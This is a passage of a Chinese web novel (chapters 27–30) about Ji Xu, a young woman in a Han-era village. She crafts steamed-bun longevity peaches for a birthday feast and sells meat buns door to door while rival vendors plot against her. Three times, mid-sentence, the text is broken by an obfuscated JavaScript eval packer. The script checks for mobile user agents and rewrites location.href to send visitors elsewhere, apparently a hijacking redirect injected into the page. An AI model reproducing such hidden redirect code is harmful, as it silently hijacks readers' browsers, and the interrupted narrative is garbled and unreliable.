鲍氏的阿母，是其中一房偏妻，生了鲍氏并她四兄，因性子温顺，吃了不少哑巴亏，鲍老爷只顾自己快活，概不管这些的。 鲍氏作为行六的女儿，很是不喜这鲍老爷，奈何如今孝道重，不孝之人要被戳脊梁骨，更甚会被送官审判，坐牢吃苦役的都有， 她面上也须敬重着，就拿这寿礼来说，不能送的太敷衍寒酸，可真要花上数百钱去扯什么鸡鸣布，她的肉儿都在疼哪。 “这事便交给我，保管教鲍娘子这寿礼送的又讨巧又实惠。” 季胥对寻上门来的鲍氏道。 原是鲍氏想着季胥在长安待过，能否做些罕见的吃食给她做寿礼，所费银钱么，不能超过她给的三十钱。 “只是要费些冯家后山头的桑葚、枣儿，和地里的芹菜。”季胥说道。 “这些自是有的，我这就摘了送来。” 一旁的冯二见她应的爽快，心觉她是胸有成算的，也很是配合。 后山头的桑葚多的是，冯二这就去摘了一篮子桑葚、枣儿，并一把嫩芹菜来，那桑葚个个深红饱满，新鲜欲滴；枣儿熟透了，红彤彤的；那芹菜还带着露水，一看便是经人小心伺弄的。 “若这寿礼送得好，鲍娘子别忘了答应我的事。”季胥道。 她原想探听盛昌里的内情，想着做些菹菜炒大肠去与鲍氏交好，听冯兴霸说，当日这菹菜炒大肠的汤汁，都被鲍氏浇饭吃干净了。 可巧鲍氏先寻上门来，说了这档子事，季胥便提了自己的要求。 鲍氏道：“你放心，我应你的自然做数。” 这日，鲍氏夫妻坐着家里的大驴车，去了盛昌里的母家。 只见是一座坐北朝南，二进一院的宅子，悬山式的屋顶，下头排着小小方方的窗棂。 鲍家也就这座祖宅看着还阔气体面了，内里，鲍老爷好跟人赌戏，亏空的就剩些田产吃穿嚼用了。 不过他的寿宴仍要风风光光，门口停了不少牛车，鲍老爷正和客人互相作揖献酬，乐乐呵呵的笑，圆脸的横肉挤在一处。 头上那裹成圆丘状的帕头，乃是二女婿方才送的寿礼，鲍老爷见那缣帛料子好，遂换了来戴，得了宾客褒赞，很是受用。 不过，张手看了看这身禅襦，还是陈年细布，不伦不类，鲍老爷便有些不大自在，想着，寿礼再收一身好料子的禅襦，便不错，最好是鸡鸣布的，眼下正时新。 “予儿，来了。” 只见鲍氏和冯二竟赶着驴车来了，那大黑驴后头牵的还是板车，不似他二女婿，牛套的带盖的轺车，别提多体面。 冯家果真是家奴之后，上不得台面，终究冯家这门亲是他应允的，为着这份彩礼能给他还债，因此鲍老爷只好不冷不热招呼了一句。 他那眼睛不转向盯着的，是从驴车下来的，鲍氏手中的寿礼，心内念着，鸡鸣布、鸡鸣布…… 待近前来，只见那是用柳条子编的，四四方方的食笥，连漆木的笥都用不起，看那小模小样，装的也并非布料。 鲍老爷失去兴趣，便摆摆手，让身后卖的只剩一个的家奴拿进去，看也不看。 “阿翁千岁，长乐无极。” “外舅万福，寿比龟鹤。” 鲍氏和冯二还在说些过寿的吉祥话呢，鲍老爷就挥手催他们进去，准备迎接他最后一个，三女婿，远远瞧着是辆牛车呢。 鲍氏领着冯二，通往院中，朝东去，直奔东厨去寻她阿母温氏了。 如她所料，温氏挽着袖子，洗菜切肉，生火造饭，在东厨忙的脚不沾地，满头大汗，连个帮忙的人也无。 鲍老爷的正妻自恃身份高，自然使唤偏妻去做；而另个偏妻是鲍老爷宠爱的，也不会来；至于那些男丁，更是不会近庖厨了，只有她阿母温氏，日日操劳三餐，得闲还要做针线换钱。 “那些懒汉，个个充大爷，留阿母一人在这忙活。” 鲍氏怨道，系上蔽膝，帮着切菜，用刀很是娴熟。 一会儿又留意着釜里的羹，搅合搅合，觉得淡了加些盐巴。 可把冯二看呆了，这还是他那在家时五谷不分，切菜碰手，做炊齁咸的妻子吗？ 温氏拭了汗，哄着女儿小声些， 一面讨好的语气对冯二道：“女婿快去外头，和堂内的郎君们饮酒应酬罢，这东厨烟熏火燎的，别把你给腌臜了。” “怕什么，难道我和阿母就不怕腌臜？去，帮我将这把葱给洗了。”鲍予道。 冯二愣愣接了，舀水去洗，他虽拙于厨事，但家翁去得早，他常常帮寡母徐媪打下手，这些碎活还是会的。 温氏被唬一跳，忙道：“使不得，若是被那些连襟瞧见，该笑话女婿了。” “外姑，我哪怕不做这些，单因我姓冯，凑过去也是被他们取乐，倒不如让我留在这帮您。”冯二说道，便在东厨房里忙转起来。 过不多久，鲍老爷让家奴来催菜了，好在有鲍予夫妇帮忙，豕肉稻米羹、鲤鱼脍、熬鹌鹑……被捧上食案。 鲍老爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357091|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穷讲究，要分案分餐，家里的食案、盘盏，半数还是朝亲戚借的，他老人家端坐上席，举起耳杯，招呼宾客女婿们饮酒。 冯二和鲍予夫妇在下席角落，备受冷落。 冯二自是闷闷不乐，鲍予可不在乎这些，她忙着吃酒菜，还夹些给冯二，道：“再有一会子，就该咱们说话了。” 冯二正纳闷，果听对面的鲍大在问：“六妹与妹夫给阿翁备了什么寿礼？” 鲍大是鲍老爷正妻所生之子，仗着身份地位，没少给鲍予使绊子。 鲍予正好也吃饱喝足了，她笑道：“身为女儿，阿翁大寿，我自是备的好礼聊表孝心。” 闻听这话，其余两房的子女、女婿们各个都煽风点火，“阿翁，也教我们涨涨见识。” “对，阿翁，您拿出来给我们瞧瞧。” 有旁的宾客也在鼓兴， “鲍公，这样好福气，何不呈上来，我等也一睹为快？” 鲍老爷其实是不愿的，他可瞧过那柳条编的食笥，里外都是寒酸，这样的东西呈上来，不是打他脸面吗？ 但下面一众人都上了兴头，他也不好去驳宾客的面子，同是也在暗忖，真能是鸡鸣布？ 因而挥手，让家奴去把那份寿礼捧上来，一看那食笥的寒酸，满堂都是瞧好戏的眼色。 鲍老爷皱着眉头，将那食笥掀开。 “好个鲍予，随手摘了几颗桃儿，也敢豪言是好礼？” 鲍大见那笥里盛着的竟是桃子，再普通不过的果食，这便朝鲍予问责， “这便是你的孝心？” “此乃寿桃，乃是一道面点。” “面点？” 只见鲍老爷把起一只桃，捏了捏，竟是软乎乎的！ 这寿桃正是由季胥所制，揉了饼酵的面团捏出桃形，那果肉之色，便是由深红的桑葚汁，调和了黄栀子水，使其呈现一种鲜嫩的粉色。 至于那绿叶，自然是芹菜汁，做的栩栩如生，逼真至极，那些人乍一见倒真以为是从枝头摘下来的桃儿。 “相传，神荼郁垒二神所居的桃都山，有盘踞三千里的桃树，予送桃树之果，实望阿翁能得二神庇佑，一生祓灾呈福；再有古书云，玉桃服之，长生不死，予特拿柳笥所盛，是愿阿翁柳（留）寿益年，长生无极！” 鲍予接道，和冯二对视一眼，悄悄的问：“我照胥女说的背全了吗？” 冯二只挠头，羞说自己压根儿没背下这文绉绉的话。 不过，堂内的响动足以说明一切。 “好！好！” 这好意头，着实令宾客拍手称妙，都夸这礼送的实有巧思，可见用心之诚。 鲍老爷心下便飘飘然，只见他掰开一只寿桃，嚼了嚼，有麦子味，还真是面食，里头还夹了枣泥馅儿。 他吃着滋味好极，又不好独享，只得吩咐家奴分下去与众同食。 “鲍公有女如此尽孝，实乃有福之人呐。” “竟有这么软和的面食？活到半百，还是头一遭尝！” 那宾客对这面粉做的寿桃，闻所未闻，一时尝了，外软馅甜，都拍手叫好，夸赞不断。 “不要掰坏了！”更甚有那孩童，不舍得将桃子给咬上一口，这么逼真，玩也要玩上一会子。 至于鲍大那些等着数落鲍予的兄弟姊妹，个个脸黑如灶灰。 28. 第 28 章 鲍予花了最少的银钱，出尽风头，任谁也挑不出毛病。 宴散之际，她心情畅快，寻到后院的一间小房。 温氏向窗而坐，见她来了，搁下针黹，关起门背身在衣箧里鼓捣着什么。 鲍予问道：“我四兄呢？散宴我撵在他后头走的，明明见他进了后院，又不知闪哪去了。” “你兄他这阵子又在替人做催债的活，怕你说他，故才躲着你呢。” “食肆里安安分分的膳夫偏不做了，去搏架斗狠替人逼债，哪天折他一条胳膊腿儿的，他才长记性！” 温氏叹道：“我也说过多回了，不过是白费口舌，也就你的话他还听一听。” “罢了，不说他这晦气的，阿母你方才瞧见没？我假母他们，见我被那些宾客夸，气的连肉羹都吃不下了，直瞪我呢。”鲍予回想起来，心内犹是爽适。 温氏把手捏捏她的鼻尖，“你哪，那样上好的面点，做的活灵活现，怕是费了你不少银钱罢？这钱你拿着。” 温氏自衣箧里掏出来的正是枚荷包，里头百来个钱，是她做针线活，私下一点点攒出来的，没教老爷与其他两房正、偏妻以各种名目索要了去。 鲍予推手不要，反从袖里掏出一串钱，“花了三十钱，冯家支了三百钱给我们买寿礼， 喏，这都是余出来的，我留给阿母，平日里别总是对着针黹，眼睛都熬坏了。” “不好，你的彩礼大多都教老爷克扣下了，连嫁妆也不像样，你这样拿钱贴补我，女婿一家该嘀咕了。”温氏道。 “我是盛昌里的女娘，他们冯家谁敢多嘴舌？” 鲍予又拉住她的手，软了声口道，“冯二知道的，他也说这钱给您。” 温氏这心肠自是百般感化，仍将自己的荷包并女儿手中的钱串，一并往她怀里塞， “你留着傍身，我这儿攒下点钱，不定哪日又叫他们叼走了。” 鲍予执意不肯收，温氏便在收拾给她带去的干果回礼时，悄悄的塞在她的包袱里了。 本固里， 一辆驴车停在土垄上，冯二在旁等候。 季胥送鲍予从草屋出来，两人脸畔俱有笑意。 “那些余出来的桑葚啊、芹菜哪、枣子的，就留着你家吃罢，这东西本也要送给我阿翁那大家子的，幸好没便宜了他们那些懒贼。” 鲍予搂着她道，“快别谢我了，我比你就大个四五岁，索性管我叫予姊罢！” 季胥接口道：“好啊，我正想这么着，可又怕隔着辈分，唐突了。” 鲍予笑盈盈上了驴车，回至院中，徐媪问他们寿礼送的可妥帖。 鲍予道：“我那阿翁很是喜欢，连那些来客都赞不绝口的。” 徐媪听着也舒心，以为小俩口照说的扯的鸡鸣布送去，她虽是心疼钱，但这是亲戚礼数，也短不了这项，自去忙晡食了。 鲍予想了想，随前去道：“我帮着阿母打下手罢。” 冯二便去后院浇菜了。 刚从崔思家回来的冯富贞堵前来问：“叔母怎的从胥女家出来？” 她那时正和崔思在她家屋前玩斗草，远远瞅见了自家的驴车，就回来了。 “哦，胥女想盖间瓦房，手里头缺钱，偏偏才纳完赋税，家家户户都脱了层皮，咱们乡市的蒸饼生意比不得先前了，她想去盛昌里叫卖，因此托我问问内情。”鲍予道，手里在择一颗大菘菜。 不知怎的，冯富贞听的此话，心间暗暗淌着快意，她撇了嘴道： “就她也想做盛昌里的买卖？咱们本固里先前有人想进里头卖瓜菜，都被伙着赶出来了，还有挨了打的。” 鲍予道：“正因这么着，她才先问了我盛昌里的人户、各项小买卖都是哪些人在做……” “叔母都告诉她了？”冯富贞紧紧追问。 “知道的都告诉她了，” 不过鲍予可没抖落出来寿桃省钱的事，她只道，“告诉她于我也没啥坏处。” 冯富贞便冷下脸来，“知道了她在那也绝对吃不开，她这样的灶下厨，还想盖得起瓦房？合该住一辈子茅屋草舍！” 说罢拧身走了。 话说季胥，已然决定明早去盛昌里叫卖肉馅儿蒸饼，但乡市的生意可怎么办？ 虽说冷清不少，但蚊子腿肉也是肉，两边俱要赶早叫卖，错过朝食的点，大家也就不会去买这类面食了，紧着这头，便撂开了那头。 家里季凤虽说也谙世事，但到底才八岁，那么丁点儿的身板，季胥断不敢由她去卖，担心被贼人略卖了去。 可巧庄氏来给她们送新衣，妹妹们听见声响，噌的一下从屋后弹出来，手里还有刚拔完草的泥巴。 庄氏笑道：“快去洗干净手，来试试这衣裳，看合不合穿，不合适的话我带回去再改改。” “哎！” 两个妹妹高亮应着，跑进灶屋舀水去了。 那可是新衣啊！本固里多数人家一身衣裳要穿两三年，直到烂得露腚，才会做新， 也就阿姊心疼她们，舍得不年不节的，这时下就给她们做，季凤美滋滋想着。 庄氏手里除了衣裳，还捧着别的，她先拎出来一个方方正正，细绳束了口的袋子， “我用那碎布头，缝了个钱袋子出来，我想着，你卖蒸饼要收五铢钱，能用得上。” 庄氏很有巧思，想着她忙起来袖中不便放那沉甸甸的钱袋，束着的麻绳便足够长，能斜挎在肩膀，这跟后世的小包没什么区别了。 那碎布头缝合的针脚，仿佛成了形状不规则的花纹，挎起来还兼具美感，季胥很是喜欢， “我正缺一个钱袋呢，庄婶儿，你手真巧，针脚缝的扎实又好看，怕是本固里找不出第二个人有你这样好的针线活了。” 庄氏被她夸的只会笑，埋脸翻弄着手里的衣裳，好半晌想起来道： “这还用碎布头给小珠二凤两个各缝了一对臂褠。” 臂褠是套在臂上的，类似于后世的袖套，戴上自是能防脏、爱护衣物，庄氏连这也想到了。 季胥心头暖烘烘的，搂着庄氏的胳膊说谢。 这时两个妹妹也换好新衣褶裤，蹭着出来了，都低头打量摸挲着，稀罕得不行。 庄氏拉过她们，弯了腰，各处掐了掐那大小长度，笑道： “合适，明年也还穿得。” 这时平头百姓做孩子衣裳，都不会做的刚刚好，孩子蹿个儿快，情愿做宽松些，能多穿一两年，因此庄氏才会说合适，若是穿着正好，就是小了。 季胥也换了来，俱是合适。 季凤摸着衣角道：“这新布料就是有股子好闻的味道，是穿旧了的没有的。” 惹得众人一笑，庄氏还把那余出来的三尺布拿给季胥，说可以做擦身擦手的巾子。 “这可太合适了，正好能裁成三条。”季胥捧了来道。 家里三人，就只一条擦身的巾子，还烂成蛛网一般了，好在之前天气热，洗完澡不擦也能凑合，现下天气渐凉，她原打算做了新衣后，用妹妹的旧衣裳改一改的。 意外多了这三尺布，她厚了脸皮道：“就是要借婶儿家的剪子用一用，家里还没置办这些。” 陶氏道：“你既决定要做巾子，过会子我便帮你裁了，拿针线锁了边，这样耐用。” 季胥谢了又谢。 原是想做三身新衣，不承想多出来这么多东西，想着自己思忖的事，季胥拉了庄氏道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358145|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “婶儿可愿去乡市卖白玉蒸饼？” 庄氏惴着颗心，紧行着步赶回家中，才推院门便唤： “母。” 在灶屋忙晡食的吕媪出了来，“衣裳送去了？” 庄氏点头，激动又紧张说起季胥提议的事来：“胥女问我可去乡市帮她卖白玉蒸饼，她那白玉蒸饼做来卖一钱一个，若是卖一个，能给咱们三成的利。 卖一个得三成，十个就是三钱，她说如今乡市里头，每日能卖得下三四十个蒸饼，今日她就卖了四十个。” 这可是天大的好事，吕媪自是欣喜，可又纳闷，“她自己不卖了？” “卖的，不过如今乡市没有先前生意好，她打算明日进盛昌里卖肉馅儿的，能多赚些。” 吕媪深知那盛昌里的买卖可不好做，“那里头的小贩都抱成一团，尤其排外，怎的想去那里？可别被人合伙欺负了……” “我也这样说，她是打定主意要去的，想多挣些钱盖房子。”庄氏道。 吕媪明白过来，“她家住的草屋还是早年季家的柴房，年头久着了，是该盖新的，不然来年春都得教雨水冲垮塌了。” “既这样，你去把那竹编的篮子找出来洗干净，明儿你拿去卖蒸饼使。”吕媪道。 庄氏踯躅着没挪动，捏了捏袖子，“母，这事我还没在胥女那应承下来……” 在吕媪不解的注视中，她朴实道：“我没卖过，哪里会，怕是做不好。” 庄氏常年在家耕织，像家中长久一次去乡市，卖点瓜菜、鸡蛋、布匹的，都是她丈夫陈大、或是君舅陈老伯去的，庄氏没把握跟人打交道，不敢瞎应承，特来讨君姑的主意。 “你这笨的哟，嘴巴是做什么的？不会就多问问胥女，学学人家怎么叫卖的， 她能选你去帮忙，是敬你为人诚厚，她先开口都不怕你做不好？你倒发怯了。” 吕媪又道：“你只想着，若是卖得好，自己能挣的也多， 只一点，怕是胥女过两天见盛昌里不好做买卖，自己便回来乡市卖了，到时咱们也别恼丧，人让咱卖一天，是一天。” 庄氏听着，心里也打起几分底气，家里便由陈狗儿看着灶火，吕媪同着她，去至季胥家，郑重应承下去乡市卖白玉蒸饼的事。 次日天微明，庄氏便挎着竹篮，里头塞些保温的禾草，来季家二房外头的土垄上候立着， 心里谨记着君姑吩咐的，并不冒冒撞撞往季胥的灶屋去凑，万一撞破人家的手艺，反而不美。 “庄婶儿来啦，庄婶儿进来罢！” 季凤穿着昨日做的新衣，烧火时沾上点灶灰，这就在外拍打，爱惜极了。 见了外头土垄上的庄氏，笑眯眯道。 “还是二凤拿我这篮子去装吧，我就不进去了。”庄氏道。 直到听说蒸饼都蒸好了，犹豫一下，才进来。 她这一趟也不敢多要，怕没卖出去季胥亏了面粉和手头工夫，昨晚便说好要三十个。 季胥便后半夜起来，做了三十个白玉蒸饼，一百个出头的肉馅儿蒸饼，后者由她带去盛昌里。 装好两人出门，只见路口竟还站着陈老伯。 他短白须覆面，头戴灰白帻巾，一身短褐立在那，虽已年近六旬，照样是挺拔的，毕竟年青时还曾上战场打过匈奴咧。 庄氏解释道：“我母担心你一个小女娘进盛昌里被那些人欺负，让翁陪你一道去，倘或有人动手，也好防着些。” 季胥几番推辞不过，心疚道：“倒耽误陈大父田头的工夫了。” 陈老伯跟在她们后头，听闻此，嗓门倒还嘹亮： “不碍事，秋收后地里活计不多，阿大一人就能做的来。” 29. 第 29 章 在岔路口两厢分别，季胥在陈老伯的陪同下进了盛昌里地界，庄氏敛了敛心，自己继续赶路至乡市。 一起头，她当真张不开嘴来吆喝，她是连大声说话都不曾过的性子， 这乡市人来人往，一想到哟喝起来大家都看着她，庄氏心口跳的慌。 可她乃是个脸生妇人，挎着的竹篮又盖着布头，一句不吆喝，谁也不会来问。 庄氏在路旁，张嘴艾艾巴巴好半晌，想到篮子里的三十个蒸饼，没卖出去，那可是白花花的三十个钱。 虽说季胥说没卖完的都算她的，但她这样一点也不尽心尽力，可不是白辜负了她？ 因此，一咬牙，照着季胥来时教的，笨着嗓子叫起来， “蒸饼！呸呸……白玉蒸饼——软乎香甜——” 一味喊着，也不去管那心要蹦出喉咙。 “白玉蒸饼？瞧着脸生，原先不是一个季姓女娘在卖吗？” 庄氏面庞早已火热，忙点头道：“是她！是她做的！我是她同里的婶儿！托我来卖！” “给我瞧瞧。” “你瞧，你瞧。”庄氏依言忙的掀开布头。 对方见是从前买过的模样，这便掏钱买了两个。 庄氏收着两个五铢钱，手都在抖，她卖出去了！卖出去了！这里面，有半个多钱可以是她的。 万事起头难，庄氏渐渐抹开了脸，白玉蒸饼本就是在乡市打开市场的，东西不变，自然有需要的照旧来买。 按季胥嘱托的，辨清了五铢钱是否有假，方收起来。 看的一旁卖粔籹的马氏一双眼睛通红，赋税过后，她这两钱一个的粔籹，都没几个人买得起了。 酸不溜湫的笑了一句：“多好的蒸饼生意哪！” 话说另头，自打季胥一进盛昌里，里市的小贩们便传开了消息，聚在一簇，像那烧沸的鼎一样。 为首是三角眼，窄条脸，一身污了油的半旧布裳，一头发髻光溜溜的妇人。 她是在那日季胥进里市买鸭蛋就见过的，姓蔡，因常年卖膏环，大伙儿都叫她蔡膏环。 蔡膏环忿道：“咱们里市，绝不容许外人进来抢地盘，咱们该拧做一股绳！待那季蒸饼一进来市里，咱就将她轰出去！” “对！轰出去！” 迎合的是戴着小帽儿，置烤炉卖胡饼的男人，他姓孙，大家却管他叫孙吝郎。 因他卖的羊肉胡饼，那羊肉只捡那价贱的、不好的部位来剁碎了做馅，还只舍得放一指甲盖那么多，人家花五个钱买来，吃了嫌肉少，他便跟人吵起来，说羊肉多贵啊、涨价了这类怨气话。 “轰出去！轰出去！” 还有一众卖瓜菜、鸡鸭的小贩跟着附声，卖面食的季胥倒影响不到他们。 只是在这时候，都同仇敌忾，往后若有他们这项上的外人想进来，方能一呼百应的让帮忙。 这一商量，各路小贩便盯着里市入口，只待一来就豁啷发作。 然而，他们等了好半天，算着时辰爬也该爬到了，却不见人来。 一个探听消息的小菜贩喘吁吁跑进来， “那季蒸饼好奸贼！她就只在各家各户串走着叫卖！” 是的，季胥就没打算进里市。 她这蒸饼，不同要置炉现烤的胡饼、要置釜生火现煎的膏环，胜在轻便，拎篮就能叫卖。 虽说里市人流集中，但各家各户也都有人口，她特地问明了鲍予，盛昌里哪条道有哪些人户住着。 昨个鲍予边说，还拿草棍在地上给她画了路线图，她记了下来，如今按户一径去叫卖，压根儿不进里市去同他们叫板。 “里市在那头呢。”陈老伯见她走的路不对，还指给她看。 暗叹道连路都不清，还想做盛昌里的生意？ 不得被他们那些贩夫撕掉层皮，得亏他听老伴的，跟来了，他会点拳脚，绝不让这女娘受了欺负。 “陈大父，我们不进里市，就这么走家串户的卖。” 话说着，这就在路过的院外叫卖起来， “肉馅儿蒸饼来欸——馅多料足的蒸饼！” “喷香软和欸——老人小孩都爱吃——” 陈老伯本着里市人多的想法，还没转过来她这么做的缘故，忽地只一感慨，好清溜的嗓门儿！ 话说就有孩童从院内蹿出来道： “蒸饼我要！” 因季胥先头纳赋日是在晒谷场卖过一回的，不少人都吃过这好滋味，奈何没再遇过她。 还有的则只听过同伴说起肉馅儿蒸饼多香，便问那胖墩墩的小丫， “哎！四儿，肉馅蒸饼真能好吃？” 胖乎的小丫早已捧着来啃了，油滋滋的，嘴里还哈着热气， “真好吃啊！肉又多！” 季胥接着吆喝道：“每月逢八，大惠顾咧！买五赠一！快来买了！” “逢八？今儿可不就是九月廿八吗？” “正是的，今天买五个便能赠一个。”季胥对答道。 一时买的人多起来，有那孩童见人捧着蒸饼吃，便拽着家里大人来买，左邻右舍传了开， “那日的季蒸饼来了喂。” “今儿逢八买五赠一。” 那听了信的，都撵着来找，季胥身旁扎堆聚了攥着钱的候着的人。 把陈老伯看得乍舌，怪道说盛昌里富呢！连足足两钱的肉馅蒸饼都这么多人舍得买。 这头卖得如火如荼，里市的小贩心里直泛酸水，他们又聚作一簇，不过这次聚笼的人明显少了些。 蔡膏环重振人心：“咱们伙同着出去，将这季蒸饼轰出盛昌里，命她不许入内！” 孙吝郎赞同应和。 其余人却揣着袖子不大愿意， “那我的摊子谁看着哪？还得卖鸡卵子呢，谁又知道那季蒸饼这会子蹿到哪去了。” “小郎要买薯蓣呢？这儿这儿呢！嘿嘿来了！”还有菜翁举着手就溜走的。 他们都不是卖面类吃食的，能帮着将人赶出里市，都是给面了。 现在还得搁下摊子，耽误功夫寻出去，不禁劝道： “蔡膏环，我看还是算了罢，她又没进来，也抢不着你里市的生意。” “是哪，倘或她敢入里市，我们便帮你赶她。” 如此一来，竟都散了，就剩孙吝郎还在，这些日子他的胡饼生意愈发差了，定是那季蒸饼害的， 不由的啐道：“你们这些鼠子，往后可别想叫我帮着赶外里人！” “好嘞，五个肉馅蒸饼明早保管送到家门前。” 季胥不仅将蒸饼卖个空，还许诺明日送饼到家。 这不，便有人预定了蒸饼明日做朝食。 说起来，季胥的蒸饼卖得快，加之盛昌里近些，倒比庄氏还先归家。 陈老伯回至院中，吕媪凑来问长短，“可怎么样？盛昌里那头，可卖出去了？还是被赶出来了？” 陈老伯生来是个肃脸，叫人也看不出端底，可把吕媪急的哟。 若说不巴望着在盛昌里能卖得好，是假的，毕竟季胥好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15366107|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，乡市那头也能由自家捡着来卖。 陈老伯回想那热火朝天，说道：“不仅全卖出去了，还……” 陈老伯嘴笨，不知如何形容季胥伶俐的就哄人定下明日送上门的事，吕媪听得更急了，恨不能自己亲见。 只听陈老伯由衷道：“胥女是个有成算的，她倒比我还了解盛昌里，是早有准备的， 这户有几口人，那条路好走……她都知道。” “这可太好了！”吕媪在家悬心半日，总算一颗大石头落地。 话时庄氏也满脸喜色归来了。 吕媪一瞅那竹篮空空的，亦是喜上眉梢，拉上庄氏进西屋，听她说起乡市这头的始末。 庄氏是外人跟前磕巴，自家人面前还是嘴皮子流利的，把吕媪听得一杆子劲儿，直道“我就说你行”。 末尾庄氏从贴身的衣襟里掖出钱袋子，倒了倒，里头可不正是九个钱， “卖了三十个，胥女的我一回来就先去了她家，给了她了， 这是咱家的三成，母，你收着。” “才听你翁说，胥女在盛昌里那头卖得可好，这么着，托胥女的福，咱家也能添个进项啦？” 吕媪喜的脸上褶子打出花来，这可是九个钱哪，才半日工夫。 想她孙子陈车儿，在盛昌里的窑场里，做那下死力气，背砖的苦活，大暑天里汗都流成河了，一日不过得七钱。 现在儿媳挣回来九个钱，且不吃力气，怎么不教她心里乐呵？ 庄氏道：“明日我想试试，卖四十个。” “行，四十个，母信你！”吕媪道。 “过了饭点我再去寻胥女定下这数，方才我去，她家在忙中食了。”庄氏道，她也才知人家里要多吃一餐中食，不然也不会莽莽的去送钱。 今日这中食，是季凤张罗的，别看她小小年纪，厨事上早早的有模有样了，是田氏在时教她的。 “阿姊，快来，瞧我做了什么。” 这厢季胥刚送走庄氏，便被她扳着向灶屋去。 只见陶灶上两碗枣糒，一碗肉芹白羹，俱是时下很兴的做法。 “亏的阿姊做那寿桃得来这么些好东西，拿来做炊正合适。”季凤道。 枣儿和芹菜是昨日鲍予让留给她们自己吃的，她洗了来，稻米在鬲内焖煮时，铺上一层去了核的枣，焖尽了水成干饭，便是枣糒； 肉芹白羹是拿包蒸饼剩的肉，切成丝，并切段的芹菜，与稻米煮成羹，淋了油盐。 “枣糒是我和小珠的，记得阿姊说不喜甜的，这肉芹白羹是阿姊的。”季凤将碗放到各自面前，两眼发光看着季胥，亟待她尝一尝。 还有什么比忙完能吃现成的更令人舒坦的，连她不好甜都虑到了。 季胥知道季凤这是体贴她，拾起筷子来尝了一口，五脏六腑都暖了，点头道： “好吃极了，凤妹手艺真好，看来以后该我烧火了。” 季凤被夸的喜滋滋的，季珠不服的道：“是小珠洗的菜！” “是吗？小珠辛苦了，我说这菜这样干净。”说的季胥捏捏她脸颊。 到底是两个小孩子，得了夸赞乐的你言我语，叽叽呱呱个不停。 好一会方捧碗吃那枣糒，时下甜味稀罕，这样拌着枣儿，甜滋滋的饭，她们爱的不行，吃了个精光。 季胥那碗羹亦是，在盛昌里走田串户比在乡市要走更多的路，哪能不饿，有这样一碗热羹，全吃进肚里了。 明日再接着挣钱，这盛昌里，她定要趟进去，站稳了的。 30. 第 30 章 因这日无事发生，次日，陈老伯倒是没再同去，顺路同着的是陈车儿。 他是去盛昌里的窑场上工的，穿着短衫，瘦黑的身子，还在喜呵呵和季胥道： “胥姊，我如今一趟能背的起二十块砖！不过比不上当初我阿翁在那时，他一趟能背的起三十块呢，王典计夸我倒是踏实肯干的，像极了我阿翁。” 他说起话来手舞足蹈的，逗的人发笑，季胥塞个肉馅儿蒸饼与他吃，他倔着不要，昨日他大父亦是， 车儿叨叨道：“留着卖钱，吃了怪可惜咧，我吃过朝食来的。” 庄氏亦是这样说。 季胥便道：“这我拿手抓了，不好再卖给旁人了，车儿快拿着吃去。” 这点庄氏是知道的，她也被叮嘱，做买卖时不要用手去碰那蒸饼。 陈车儿其实馋的很，不过不好意思吃这么贵的蒸饼罢了，听到这样说，一时没了主意，两眼向他阿母庄氏看去，庄氏也没了主意，直可惜那蒸饼来着。 季胥便硬塞到了陈车儿手里。 陈车儿犹豫一下，吃时两眼冒光，庄氏手里被他掰了一半塞去，舍不得吃，要留给他。 陈车儿不肯，庄氏才细细吃起来，一面想着这可就是一个钱哪，一面吃的越发珍惜了。 进了盛昌里，陈车儿往深处的山地去，那窑场在泥山脚下。 季胥则在浅处的田间小陌串走，哪户人家定了蒸饼，她都记着清楚，先往人家里去， 心里头有鲍予画的地图，哪条路近她都明白，一点不耽误挨家挨户叫卖。 “瞧，蒸饼来了。 快去开门。” 而那蔡膏环，聚不起各路小贩来帮她去外头轰人，一想到季胥把蒸饼卖得火热，她熬得一夜都没睡，两眼猩红，推着独轮车去里市卖膏环。 里市也分大市小市，大市三日一市，买卖人多，平时是小市，要冷清许多。 今日便值小市，眼瞅着她的膏环摊子无人问津，她就按不下心里的酸火。 只见她招了招手，市里游荡的两个青年凑了来。 一个是赖子，一个叫胜郎的，都是怀弹挟丸的地头无赖，专在外头各里做些碰瓷讹人的事， 他们其实都是盛昌里人，家中有房有地，也不穷，但就好做这行当，比正经做活来钱快。 “作甚？” 蔡膏环堆起笑，各递给他们一块刚煎好的膏环，可把她心疼的在滴血，她道： “你们竟不知？盛昌里来了个外头人，在走家串户的卖肉馅蒸饼的。” 两人都在吃那油乎乎的膏环，煎得硬邦邦的，吃起来嗑牙， 赖子道：“这与我们什么相干？” 